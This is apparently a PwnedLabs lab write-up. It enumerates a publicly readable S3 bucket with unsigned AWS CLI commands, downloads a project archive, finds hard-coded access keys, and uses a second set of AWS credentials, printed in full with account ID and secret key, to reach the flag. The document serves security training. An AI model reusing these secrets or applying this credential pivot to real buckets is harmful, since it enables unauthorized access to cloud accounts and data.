# S3 - Enum Basics - PwnedLabs

For example we have a website that is fetching resources from an S3 bucket. In the view source we spot the following:

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FhDxc3himwAAoWvPR4UxC%2Fimage.png?alt=media&#x26;token=160b74d6-6398-4f97-8c05-443c3d9ccfc6" alt=""><figcaption></figcaption></figure>

In AWS we have the following type of buckets:

```
1. Amazon S3 Buckets (Object Storage)
General-Purpose Buckets – For storing any kind of object (files, images, logs, backups, etc.).
Static Website Hosting Buckets – Configured to serve a website directly from S3.
Logging Buckets – Used for storing access logs from CloudTrail, ALB, or S3 itself.
Data Lake Buckets – Used for storing large-scale data for analytics (e.g., AWS Lake Formation).
Backup Buckets – Used to store backups from AWS Backup or other services.
Machine Learning Data Buckets – For training ML models with AWS SageMaker.
```

From the AWS documentation [here](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html), we observe the following:

1. Every object in a bucket has a URL that can be used to access it. As Amazon states: "Every object is contained in a bucket. For example, if the object named `photos/puppy.jpg` is stored in the `amzn-s3-demo-bucket` bucket in the US West (Oregon) Region, then it is addressable by using the URL `https://amzn-s3-demo-bucket.s3.us-west-2.amazonaws.com/photos/puppy.jpg"`
2.  In our source code above, we have "[https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css](https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css)" which means name of the bucket is dev.huge-logistics.com. Although it is not in the format stated above. GPT explains this:\
    \
    **1️⃣ Virtual-Hosted Style URL (Modern Default)**

    Most AWS documentation now suggests using the **virtual-hosted style** URL format, where the bucket name appears as a subdomain:

    ```
    https://<bucket-name>.s3.<region>.amazonaws.com/<object-path>
    ```

    For example, if the bucket is **amzn-s3-demo-bucket** in **us-west-2**, an object called `photos/puppy.jpg` would be accessed at:

    ```
    https://amzn-s3-demo-bucket.s3.us-west-2.amazonaws.com/photos/puppy.jpg
    ```

    This is now the default method for accessing objects in **newer AWS regions**.\
    \
    **2️⃣ Path-Style URL (Older Format, Used in Some Cases)**

    The URL you provided follows the older **path-style access** method:

    ```
    https://s3.amazonaws.com/<bucket-name>/<object-path>
    ```

    Your example:

    ```
    https://s3.amazonaws.com/dev.huge-logistics.com/static/style.css
    ```

    Here:

    * `s3.amazonaws.com` is the base S3 endpoint.
    * `dev.huge-logistics.com` is the **bucket name**.
    * `/static/style.css` is the object path.

    AWS allowed this format for a long time, but in **2019**, AWS announced that **path-style URLs are being deprecated for new buckets** in most regions. However, older buckets or buckets in **legacy regions (like us-east-1)** still support it.
3. Okay so we can enumerate it.

Any command help in AWS is generally in the format:

`aws <module> <additional API call (if any)> help`

So, aws s3 help would tell that you can run "ls" to enumerate

```
aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request
```

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fw3wkaIXWnLDzrgn2J3Ro%2Fimage.png?alt=media&#x26;token=06c554db-8ee7-4f91-a40e-2a1bf40e202f" alt=""><figcaption></figcaption></figure>

The following command would do a recursive "ls." If it can't access anything it would throw an error.

```
aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request --recursive
```

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FCfKygXm3Ag9MLzF9G5Vr%2Fimage.png?alt=media&#x26;token=746cca19-8e0d-4f9c-9cd0-f3f359bc6708" alt=""><figcaption></figcaption></figure>

Similarly one can look in a specific folder by appending the folder name in the URL

```
aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
aws s3 ls s3://dev.huge-logistics.com/static/ --no-sign-request
```

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FfvDq2yGUbLZ8s9Xb1OEA%2Fimage.png?alt=media&#x26;token=6aac96e7-2e15-409e-ad3b-8677eb4cfe89" alt=""><figcaption></figcaption></figure>

However, we don't have access to admin and migration-files right now. We can copy the hl\_migration\_project.zip to current folder like so:

```
aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip . --no-sign-request
```

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FtSgfh1kfVRd1FxfTg8bQ%2Fimage.png?alt=media&#x26;token=b7c29f16-bdef-483a-b907-af862750a4e5" alt=""><figcaption></figcaption></figure>

We see access keys in one of the files. This is a bad practice.

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fs43Zas5eK9w0vVJwWOQy%2Fimage.png?alt=media&#x26;token=a5c66b10-bda3-4083-9d5b-09cba80d867a" alt=""><figcaption></figcaption></figure>

We can configure these credentials using "aws configure" command and access other folders

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fzn3Q6uUKv3yRfb12W2Mj%2Fimage.png?alt=media&#x26;token=01870985-d8d6-4280-abcf-015d6ff4ac67" alt=""><figcaption></figcaption></figure>

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FVlfUjKlYgmRk0P4chrMC%2Fimage.png?alt=media&#x26;token=71eaf479-23ab-4a8f-ac4a-6ff583f68ee4" alt=""><figcaption></figcaption></figure>

But I couldn't access these. So I accessed other folder

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fij7nODz2k0g4SnGPYE43%2Fimage.png?alt=media&#x26;token=76dd99ee-aca1-4eb8-82a2-5b8e4ef9888a" alt=""><figcaption></figcaption></figure>

It had this line:

```
<CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>794929857501</AccountID>
        <AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
        <SecretAccessKey>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</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
```

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fovj6n6GaPFELaCTEyDgr%2Fimage.png?alt=media&#x26;token=b6bf61c5-7086-43a0-b277-ad1c6c2d89cf" alt=""><figcaption></figcaption></figure>

^ I configured the compromised access keys and accessed the flag that way.

<figure><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fo3l94Umq34mSev4CbWjS%2Fimage.png?alt=media&#x26;token=687ae4e1-9318-41df-9f7d-d6af268b379d" alt=""><figcaption></figcaption></figure>





